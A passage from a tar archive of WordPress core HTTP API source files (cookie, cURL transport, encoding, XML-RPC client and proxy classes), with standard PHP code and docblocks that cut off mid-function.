* @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php * * @param mixed $offset The offset to unset. */ public function offsetUnset( $offset ) { unset( $this->callbacks[ $offset ] ); } /** * Returns the current element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.current.php * * @return array Of callbacks at current priority. */ public function current() { return current( $this->callbacks ); } /** * Moves forward to the next element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.next.php * * @return array Of callbacks at next priority. */ public function next() { return next( $this->callbacks ); } /** * Returns the key of the current element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.key.php * * @return mixed Returns current priority on success, or NULL on failure */ public function key() { return key( $this->callbacks ); } /** * Checks if current position is valid. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.valid.php * * @return bool Whether the current position is valid. */ public function valid() { return key( $this->callbacks ) !== null; } /** * Rewinds the Iterator to the first element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.rewind.php */ public function rewind() { reset( $this->callbacks ); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-http-cache.php�����������������������������������������������������������������������������0000644�����������������00000000000�15120262030�0011001 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-http-cookie.php����������������������������������������������������������������������������0000644�����������������00000016022�15120262030�0011222 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: WP_Http_Cookie class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to encapsulate a single cookie object for internal use. * * Returned cookies are represented using this class, and when cookies are set, if they are not * already a WP_Http_Cookie() object, then they are turned into one. * * @todo The WordPress convention is to use underscores instead of camelCase for function and method * names. Need to switch to use underscores instead for the methods. * * @since 2.8.0 */ class WP_Http_Cookie { /** * Cookie name. * * @since 2.8.0 * @var string */ public $name; /** * Cookie value. * * @since 2.8.0 * @var string */ public $value; /** * When the cookie expires. Unix timestamp or formatted date. * * @since 2.8.0 * @var string|int|null */ public $expires; /** * Cookie URL path. * * @since 2.8.0 * @var string */ public $path; /** * Cookie Domain. * * @since 2.8.0 * @var string */ public $domain; /** * host-only flag. * * @since 5.2.0 * @var bool */ public $host_only; /** * Sets up this cookie object. * * The parameter $data should be either an associative array containing the indices names below * or a header string detailing it. * * @since 2.8.0 * @since 5.2.0 Added `host_only` to the `$data` parameter. * * @param string|array $data { * Raw cookie data as header string or data array. * * @type string $name Cookie name. * @type mixed $value Value. Should NOT already be urlencoded. * @type string|int|null $expires Optional. Unix timestamp or formatted date. Default null. * @type string $path Optional. Path. Default '/'. * @type string $domain Optional. Domain. Default host of parsed $requested_url. * @type int $port Optional. Port. Default null. * @type bool $host_only Optional. host-only storage flag. Default true. * } * @param string $requested_url The URL which the cookie was set on, used for default $domain * and $port values. */ public function __construct( $data, $requested_url = '' ) { if ( $requested_url ) { $arrURL = parse_url( $requested_url ); } if ( isset( $arrURL['host'] ) ) { $this->domain = $arrURL['host']; } $this->path = isset( $arrURL['path'] ) ? $arrURL['path'] : '/'; if ( '/' !== substr( $this->path, -1 ) ) { $this->path = dirname( $this->path ) . '/'; } if ( is_string( $data ) ) { // Assume it's a header string direct from a previous request. $pairs = explode( ';', $data ); // Special handling for first pair; name=value. Also be careful of "=" in value. $name = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) ); $value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 ); $this->name = $name; $this->value = urldecode( $value ); // Removes name=value from items. array_shift( $pairs ); // Set everything else as a property. foreach ( $pairs as $pair ) { $pair = rtrim( $pair ); // Handle the cookie ending in ; which results in a empty final pair. if ( empty( $pair ) ) { continue; } list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' ); $key = strtolower( trim( $key ) ); if ( 'expires' === $key ) { $val = strtotime( $val ); } $this->$key = $val; } } else { if ( ! isset( $data['name'] ) ) { return; } // Set properties based directly on parameters. foreach ( array( 'name', 'value', 'path', 'domain', 'port', 'host_only' ) as $field ) { if ( isset( $data[ $field ] ) ) { $this->$field = $data[ $field ]; } } if ( isset( $data['expires'] ) ) { $this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] ); } else { $this->expires = null; } } } /** * Confirms that it's OK to send this cookie to the URL checked against. * * Decision is based on RFC 2109/2965, so look there for details on validity. * * @since 2.8.0 * * @param string $url URL you intend to send this cookie to * @return bool true if allowed, false otherwise. */ public function test( $url ) { if ( is_null( $this->name ) ) { return false; } // Expires - if expired then nothing else matters. if ( isset( $this->expires ) && time() > $this->expires ) { return false; } // Get details on the URL we're thinking about sending to. $url = parse_url( $url ); $url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' === $url['scheme'] ? 443 : 80 ); $url['path'] = isset( $url['path'] ) ? $url['path'] : '/'; // Values to use for comparison against the URL. $path = isset( $this->path ) ? $this->path : '/'; $port = isset( $this->port ) ? $this->port : null; $domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] ); if ( false === stripos( $domain, '.' ) ) { $domain .= '.local'; } // Host - very basic check that the request URL ends with the domain restriction (minus leading dot). $domain = ( '.' === substr( $domain, 0, 1 ) ) ? substr( $domain, 1 ) : $domain; if ( substr( $url['host'], -strlen( $domain ) ) != $domain ) { return false; } // Port - supports "port-lists" in the format: "80,8000,8080". if ( ! empty( $port ) && ! in_array( $url['port'], array_map( 'intval', explode( ',', $port ) ), true ) ) { return false; } // Path - request path must start with path restriction. if ( substr( $url['path'], 0, strlen( $path ) ) != $path ) { return false; } return true; } /** * Convert cookie name and value back to header string. * * @since 2.8.0 * * @return string Header encoded cookie name and value. */ public function getHeaderValue() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid if ( ! isset( $this->name ) || ! isset( $this->value ) ) { return ''; } /** * Filters the header-encoded cookie value. * * @since 3.4.0 * * @param string $value The cookie value. * @param string $name The cookie name. */ return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name ); } /** * Retrieve cookie header for usage in the rest of the WordPress HTTP API. * * @since 2.8.0 * * @return string */ public function getFullHeader() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid return 'Cookie: ' . $this->getHeaderValue(); } /** * Retrieves cookie attributes. * * @since 4.6.0 * * @return array { * List of attributes. * * @type string|int|null $expires When the cookie expires. Unix timestamp or formatted date. * @type string $path Cookie URL path. * @type string $domain Cookie domain. * } */ public function get_attributes() { return array( 'expires' => $this->expires, 'path' => $this->path, 'domain' => $this->domain, ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-http-curl.php������������������������������������������������������������������������������0000644�����������������00000030071�15120262030�0010716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: WP_Http_Curl class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to integrate Curl as an HTTP transport. * * HTTP request method uses Curl extension to retrieve the url. * * Requires the Curl extension to be installed. * * @since 2.7.0 */ class WP_Http_Curl { /** * Temporary header storage for during requests. * * @since 3.2.0 * @var string */ private $headers = ''; /** * Temporary body storage for during requests. * * @since 3.6.0 * @var string */ private $body = ''; /** * The maximum amount of data to receive from the remote server. * * @since 3.6.0 * @var int|false */ private $max_body_length = false; /** * The file resource used for streaming to file. * * @since 3.6.0 * @var resource|false */ private $stream_handle = false; /** * The total bytes written in the current request. * * @since 4.1.0 * @var int */ private $bytes_written_total = 0; /** * Send a HTTP request to a URI using cURL extension. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function request( $url, $args = array() ) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array(), ); $parsed_args = wp_parse_args( $args, $defaults ); if ( isset( $parsed_args['headers']['User-Agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['User-Agent']; unset( $parsed_args['headers']['User-Agent'] ); } elseif ( isset( $parsed_args['headers']['user-agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['user-agent']; unset( $parsed_args['headers']['user-agent'] ); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $parsed_args ); $handle = curl_init(); // cURL offers really easy proxy support. $proxy = new WP_HTTP_Proxy(); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP ); curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() ); curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() ); if ( $proxy->use_authentication() ) { curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY ); curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() ); } } $is_local = isset( $parsed_args['local'] ) && $parsed_args['local']; $ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify']; if ( $is_local ) { /** This filter is documented in wp-includes/class-wp-http-streams.php */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url ); } elseif ( ! $is_local ) { /** This filter is documented in wp-includes/class-http.php */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url ); } /* * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since. * a value of 0 will allow an unlimited timeout. */ $timeout = (int) ceil( $parsed_args['timeout'] ); curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_URL, $url ); curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( true === $ssl_verify ) ? 2 : false ); curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify ); if ( $ssl_verify ) { curl_setopt( $handle, CURLOPT_CAINFO, $parsed_args['sslcertificates'] ); } curl_setopt( $handle, CURLOPT_USERAGENT, $parsed_args['user-agent'] ); /* * The option doesn't work with safe mode or when open_basedir is set, and there's * a bug #17490 with redirected POST requests, so handle redirections outside Curl. */ curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false ); curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS ); switch ( $parsed_args['method'] ) { case 'HEAD': curl_setopt( $handle, CURLOPT_NOBODY, true ); break; case 'POST': curl_setopt( $handle, CURLOPT_POST, true ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; case 'PUT': curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; default: curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $parsed_args['method'] ); if ( ! is_null( $parsed_args['body'] ) ) { curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); } break; } if ( true === $parsed_args['blocking'] ) { curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) ); curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) ); } curl_setopt( $handle, CURLOPT_HEADER, false ); if ( isset( $parsed_args['limit_response_size'] ) ) { $this->max_body_length = (int) $parsed_args['limit_response_size']; } else { $this->max_body_length = false; } // If streaming to a file open a file handle, and setup our curl streaming handler. if ( $parsed_args['stream'] ) { if ( ! WP_DEBUG ) { $this->stream_handle = @fopen( $parsed_args['filename'], 'w+' ); } else { $this->stream_handle = fopen( $parsed_args['filename'], 'w+' ); } if ( ! $this->stream_handle ) { return new WP_Error( 'http_request_failed', sprintf( /* translators: 1: fopen(), 2: File name. */ __( 'Could not open handle for %1$s to %2$s.' ), 'fopen()', $parsed_args['filename'] ) ); } } else { $this->stream_handle = false; } if ( ! empty( $parsed_args['headers'] ) ) { // cURL expects full header strings in each element. $headers = array(); foreach ( $parsed_args['headers'] as $name => $value ) { $headers[] = "{$name}: $value"; } curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers ); } if ( '1.0' === $parsed_args['httpversion'] ) { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 ); } else { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 ); } /** * Fires before the cURL request is executed. * * Cookies are not currently handled by the HTTP API. This action allows * plugins to handle cookies themselves. * * @since 2.8.0 * * @param resource $handle The cURL handle returned by curl_init() (passed by reference). * @param array $parsed_args The HTTP request arguments. * @param string $url The request URL. */ do_action_ref_array( 'http_api_curl', array( &$handle, $parsed_args, $url ) ); // We don't need to return the body, so don't. Just execute request and return. if ( ! $parsed_args['blocking'] ) { curl_exec( $handle ); $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } curl_close( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), ); } curl_exec( $handle ); $theHeaders = WP_Http::processHeaders( $this->headers, $url ); $theBody = $this->body; $bytes_written_total = $this->bytes_written_total; $this->headers = ''; $this->body = ''; $this->bytes_written_total = 0; $curl_error = curl_errno( $handle ); // If an error occurred, or, no response. if ( $curl_error || ( 0 == strlen( $theBody ) && empty( $theHeaders['headers'] ) ) ) { if ( CURLE_WRITE_ERROR /* 23 */ == $curl_error ) { if ( ! $this->max_body_length || $this->max_body_length != $bytes_written_total ) { if ( $parsed_args['stream'] ) { curl_close( $handle ); fclose( $this->stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } else { curl_close( $handle ); return new WP_Error( 'http_request_failed', curl_error( $handle ) ); } } } else { $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } } curl_close( $handle ); if ( $parsed_args['stream'] ) { fclose( $this->stream_handle ); } $response = array( 'headers' => $theHeaders['headers'], 'body' => null, 'response' => $theHeaders['response'], 'cookies' => $theHeaders['cookies'], 'filename' => $parsed_args['filename'], ); // Handle redirects. $redirect_response = WP_HTTP::handle_redirects( $url, $parsed_args, $response ); if ( false !== $redirect_response ) { return $redirect_response; } if ( true === $parsed_args['decompress'] && true === WP_Http_Encoding::should_decode( $theHeaders['headers'] ) ) { $theBody = WP_Http_Encoding::decompress( $theBody ); } $response['body'] = $theBody; return $response; } /** * Grabs the headers of the cURL request. * * Each header is sent individually to this callback, so we append to the `$header` property * for temporary storage * * @since 3.2.0 * * @param resource $handle cURL handle. * @param string $headers cURL request headers. * @return int Length of the request headers. */ private function stream_headers( $handle, $headers ) { $this->headers .= $headers; return strlen( $headers ); } /** * Grabs the body of the cURL request. * * The contents of the document are passed in chunks, so we append to the `$body` * property for temporary storage. Returning a length shorter than the length of * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`. * * @since 3.6.0 * * @param resource $handle cURL handle. * @param string $data cURL request body. * @return int Total bytes of data written. */ private function stream_body( $handle, $data ) { $data_length = strlen( $data ); if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) { $data_length = ( $this->max_body_length - $this->bytes_written_total ); $data = substr( $data, 0, $data_length ); } if ( $this->stream_handle ) { $bytes_written = fwrite( $this->stream_handle, $data ); } else { $this->body .= $data; $bytes_written = $data_length; } $this->bytes_written_total += $bytes_written; // Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR. return $bytes_written; } /** * Determines whether this class can be used for retrieving a URL. * * @since 2.7.0 * * @param array $args Optional. Array of request arguments. Default empty array. * @return bool False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) { return false; } $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { $curl_version = curl_version(); // Check whether this cURL version support SSL requests. if ( ! ( CURL_VERSION_SSL & $curl_version['features'] ) ) { return false; } } /** * Filters whether cURL can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args An array of request arguments. */ return apply_filters( 'use_curl_transport', true, $args ); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-http-encoding.php��������������������������������������������������������������������������0000644�����������������00000014776�15120262030�0011555 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: WP_Http_Encoding class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to implement deflate and gzip transfer encoding support for HTTP requests. * * Includes RFC 1950, RFC 1951, and RFC 1952. * * @since 2.8.0 */ class WP_Http_Encoding { /** * Compress raw string using the deflate format. * * Supports the RFC 1951 standard. * * @since 2.8.0 * * @param string $raw String to compress. * @param int $level Optional. Compression level, 9 is highest. Default 9. * @param string $supports Optional, not used. When implemented it will choose * the right compression based on what the server supports. * @return string|false Compressed string on success, false on failure. */ public static function compress( $raw, $level = 9, $supports = null ) { return gzdeflate( $raw, $level ); } /** * Decompression of deflated string. * * Will attempt to decompress using the RFC 1950 standard, and if that fails * then the RFC 1951 standard deflate will be attempted. Finally, the RFC * 1952 standard gzip decode will be attempted. If all fail, then the * original compressed string will be returned. * * @since 2.8.0 * * @param string $compressed String to decompress. * @param int $length The optional length of the compressed data. * @return string|false Decompressed string on success, false on failure. */ public static function decompress( $compressed, $length = null ) { if ( empty( $compressed ) ) { return $compressed; } $decompressed = @gzinflate( $compressed ); if ( false !== $decompressed ) { return $decompressed; } $decompressed = self::compatible_gzinflate( $compressed ); if ( false !== $decompressed ) { return $decompressed; } $decompressed = @gzuncompress( $compressed ); if ( false !== $decompressed ) { return $decompressed; } if ( function_exists( 'gzdecode' ) ) { $decompressed = @gzdecode( $compressed ); if ( false !== $decompressed ) { return $decompressed; } } return $compressed; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 2.8.1 * * @link https://core.trac.wordpress.org/ticket/18273 * @link https://www.php.net/manual/en/function.gzinflate.php#70875 * @link https://www.php.net/manual/en/function.gzinflate.php#77336 * * @param string $gzData String to decompress. * @return string|false Decompressed string on success, false on failure. */ public static function compatible_gzinflate( $gzData ) { // Compressed data might contain a full header, if so strip it for gzinflate(). if ( "\x1f\x8b\x08" === substr( $gzData, 0, 3 ) ) { $i = 10; $flg = ord( substr( $gzData, 3, 1 ) ); if ( $flg > 0 ) { if ( $flg & 4 ) { list($xlen) = unpack( 'v', substr( $gzData, $i, 2 ) ); $i = $i + 2 + $xlen; } if ( $flg & 8 ) { $i = strpos( $gzData, "\0", $i ) + 1; } if ( $flg & 16 ) { $i = strpos( $gzData, "\0", $i ) + 1; } if ( $flg & 2 ) { $i = $i + 2; } } $decompressed = @gzinflate( substr( $gzData, $i, -8 ) ); if ( false !== $decompressed ) { return $decompressed; } } // Compressed data from java.util.zip.Deflater amongst others. $decompressed = @gzinflate( substr( $gzData, 2 ) ); if ( false !== $decompressed ) { return $decompressed; } return false; } /** * What encoding types to accept and their priority values. * * @since 2.8.0 * * @param string $url * @param array $args * @return string Types of encoding to accept. */ public static function accept_encoding( $url, $args ) { $type = array(); $compression_enabled = self::is_available(); if ( ! $args['decompress'] ) { // Decompression specifically disabled. $compression_enabled = false; } elseif ( $args['stream'] ) { // Disable when streaming to file. $compression_enabled = false; } elseif ( isset( $args['limit_response_size'] ) ) { // If only partial content is being requested, we won't be able to decompress it. $compression_enabled = false; } if ( $compression_enabled ) { if ( function_exists( 'gzinflate' ) ) { $type[] = 'deflate;q=1.0'; } if ( function_exists( 'gzuncompress' ) ) { $type[] = 'compress;q=0.5'; } if ( function_exists( 'gzdecode' ) ) { $type[] = 'gzip;q=0.5'; } } /** * Filters the allowed encoding types. * * @since 3.6.0 * * @param string[] $type Array of what encoding types to accept and their priority values. * @param string $url URL of the HTTP request. * @param array $args HTTP request arguments. */ $type = apply_filters( 'wp_http_accept_encoding', $type, $url, $args ); return implode( ', ', $type ); } /** * What encoding the content used when it was compressed to send in the headers. * * @since 2.8.0 * * @return string Content-Encoding string to send in the header. */ public static function content_encoding() { return 'deflate'; } /** * Whether the content be decoded based on the headers. * * @since 2.8.0 * * @param array|string $headers All of the available headers. * @return bool */ public static function should_decode( $headers ) { if ( is_array( $headers ) ) { if ( array_key_exists( 'content-encoding', $headers ) && ! empty( $headers['content-encoding'] ) ) { return true; } } elseif ( is_string( $headers ) ) { return ( stripos( $headers, 'content-encoding:' ) !== false ); } return false; } /** * Whether decompression and compression are supported by the PHP version. * * Each function is tested instead of checking for the zlib extension, to * ensure that the functions all exist in the PHP version and aren't * disabled. * * @since 2.8.0 * * @return bool */ public static function is_available() { return ( function_exists( 'gzuncompress' ) || function_exists( 'gzdeflate' ) || function_exists( 'gzinflate' ) ); } } ��class-wp-http-ixr-client.php������������������������������������������������������������������������0000644�����������������00000006622�15120262030�0012034 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_HTTP_IXR_Client * * @package WordPress * @since 3.1.0 */ class WP_HTTP_IXR_Client extends IXR_Client { public $scheme; /** * @var IXR_Error */ public $error; /** * @param string $server * @param string|false $path * @param int|false $port * @param int $timeout */ public function __construct( $server, $path = false, $port = false, $timeout = 15 ) { if ( ! $path ) { // Assume we have been given a URL instead. $bits = parse_url( $server ); $this->scheme = $bits['scheme']; $this->server = $bits['host']; $this->port = isset( $bits['port'] ) ? $bits['port'] : $port; $this->path = ! empty( $bits['path'] ) ? $bits['path'] : '/'; // Make absolutely sure we have a path. if ( ! $this->path ) { $this->path = '/'; } if ( ! empty( $bits['query'] ) ) { $this->path .= '?' . $bits['query']; } } else { $this->scheme = 'http'; $this->server = $server; $this->path = $path; $this->port = $port; } $this->useragent = 'The Incutio XML-RPC PHP Library'; $this->timeout = $timeout; } /** * @since 3.1.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ public function query( ...$args ) { $method = array_shift( $args ); $request = new IXR_Request( $method, $args ); $xml = $request->getXml(); $port = $this->port ? ":$this->port" : ''; $url = $this->scheme . '://' . $this->server . $port . $this->path; $args = array( 'headers' => array( 'Content-Type' => 'text/xml' ), 'user-agent' => $this->useragent, 'body' => $xml, ); // Merge Custom headers ala #8145. foreach ( $this->headers as $header => $value ) { $args['headers'][ $header ] = $value; } /** * Filters the headers collection to be sent to the XML-RPC server. * * @since 4.4.0 * * @param string[] $headers Associative array of headers to be sent. */ $args['headers'] = apply_filters( 'wp_http_ixr_client_headers', $args['headers'] ); if ( false !== $this->timeout ) { $args['timeout'] = $this->timeout; } // Now send the request. if ( $this->debug ) { echo '<pre class="ixr_request">' . htmlspecialchars( $xml ) . "\n</pre>\n\n"; } $response = wp_remote_post( $url, $args ); if ( is_wp_error( $response ) ) { $errno = $response->get_error_code(); $errorstr = $response->get_error_message(); $this->error = new IXR_Error( -32300, "transport error: $errno $errorstr" ); return false; } if ( 200 != wp_remote_retrieve_response_code( $response ) ) { $this->error = new IXR_Error( -32301, 'transport error - HTTP status code was not 200 (' . wp_remote_retrieve_response_code( $response ) . ')' ); return false; } if ( $this->debug ) { echo '<pre class="ixr_response">' . htmlspecialchars( wp_remote_retrieve_body( $response ) ) . "\n</pre>\n\n"; } // Now parse what we've got back. $this->message = new IXR_Message( wp_remote_retrieve_body( $response ) ); if ( ! $this->message->parse() ) { // XML error. $this->error = new IXR_Error( -32700, 'parse error. not well formed' ); return false; } // Is the message a fault? if ( 'fault' === $this->message->messageType ) { $this->error = new IXR_Error( $this->message->faultCode, $this->message->faultString ); return false; } // Message must be OK. return true; } } ��������������������������������������������������������������������������������������������������������������class-wp-http-proxy.php�����������������������������������������������������������������������������0000644�����������������00000013347�15120262030�0011141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP API: WP_HTTP_Proxy class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to implement HTTP API proxy support. * * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to * enable proxy support. There are also a few filters that plugins can hook into for some of the * constants. * * Please note that only BASIC authentication is supported by most transports. * cURL MAY support more methods (such as NTLM authentication) depending on your environment. * * The constants are as follows: * <ol> * <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li> * <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li> * <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li> * <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li> * <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy. * You do not need to have localhost and the site host in this list, because they will not be passed * through the proxy. The list should be presented in a comma separated list, wildcards using * are supported, eg. *.wordpress.org</li> * </ol> * * An example can be as seen below. * * define('WP_PROXY_HOST', '192.168.84.101'); * define('WP_PROXY_PORT', '8080'); * define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org'); * * @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress. * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS * * @since 2.8.0 */ class WP_HTTP_Proxy { /** * Whether proxy connection should be used. * * @since 2.8.0 * * @use WP_PROXY_HOST * @use WP_PROXY_PORT * * @return bool */ public function is_enabled() { return defined( 'WP_PROXY_HOST' ) && defined( 'WP_PROXY_PORT' ); } /** * Whether authentication should be used. * * @since 2.8.0 * * @use WP_PROXY_USERNAME * @use WP_PROXY_PASSWORD * * @return bool */ public function use_authentication() { return defined( 'WP_PROXY_USERNAME' ) && defined( 'WP_PROXY_PASSWORD' ); } /** * Retrieve the host for the proxy server. * * @since 2.8.0 * * @return string */ public function host() { if ( defined( 'WP_PROXY_HOST' ) ) { return WP_PROXY_HOST; } return ''; } /** * Retrieve the port for the proxy server. * * @since 2.8.0 * * @return string */ public function port() { if ( defined( 'WP_PROXY_PORT' ) ) { return WP_PROXY_PORT; } return ''; } /** * Retrieve the username for proxy authentication. * * @since 2.8.0 * * @return string */ public function username() { if ( defined( 'WP_PROXY_USERNAME' ) ) { return WP_PROXY_USERNAME; } return ''; } /** * Retrieve the password for proxy authentication. * * @since 2.8.0 * * @return string */ public function password() { if ( defined( 'WP_PROXY_PASSWORD' ) ) { return WP_PROXY_PASSWORD; } return ''; } /** * Retrieve authentication string for proxy authentication. * * @since 2.8.0 * * @return string */ public function authentication() { return $this->username() . ':' . $this->password(); } /** * Retrieve header string for proxy authentication. * * @since 2.8.0 * * @return string */ public function authentication_header() { return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() ); } /** * Determines whether the request should be sent through a proxy. * * We want to keep localhost and the site URL from being sent through the proxy, because * some proxies can not handle this. We also have the constant available for defining other * hosts that won't be sent through the proxy. * * @since 2.8.0 * * @param string $uri URL of the request. * @return bool Whether to send the request through the proxy. */ public function send_through_proxy( $uri ) { $check = parse_url( $uri ); // Malformed URL, can not process, but this could mean ssl, so let through anyway. if ( false === $check ) { return true; } $home = parse_url( get_option( 'siteurl' ) ); /** * Filters whether to preempt sending the request through the proxy. * * Returning false will bypass the proxy; returning true will send * the request through the proxy. Returning null bypasses the filter. * * @since 3.5.0 * * @param bool|null $override Whether to send the request through the proxy. Default null. * @param string $uri URL of the request. * @param array $check Associative array result of parsing the request URL with `parse_url()`. * @param array $home Associative array result of parsing the site URL with `parse_url()`. */ $result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home ); if ( ! is_null( $result ) ) { return $result; } if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) { return false; } if ( ! defined( 'WP_PROXY_BYPASS_HOSTS' ) ) { return true; } static $bypass_hosts = null; static $wildcard_regex = array(); if ( null === $bypass_hosts ) { $bypass_hosts = preg_split( '|,\s*|', WP_PROXY_BYPASS_HOSTS ); if ( false !== strpos( WP_PROXY_BYPASS_HOSTS, '*' ) ) { $wildcard_regex = array(); foreach ( $bypass_hosts as $host ) { $wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) ); } $wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i'; } } if ( ! empty( $wildcard_regex ) ) { return ! 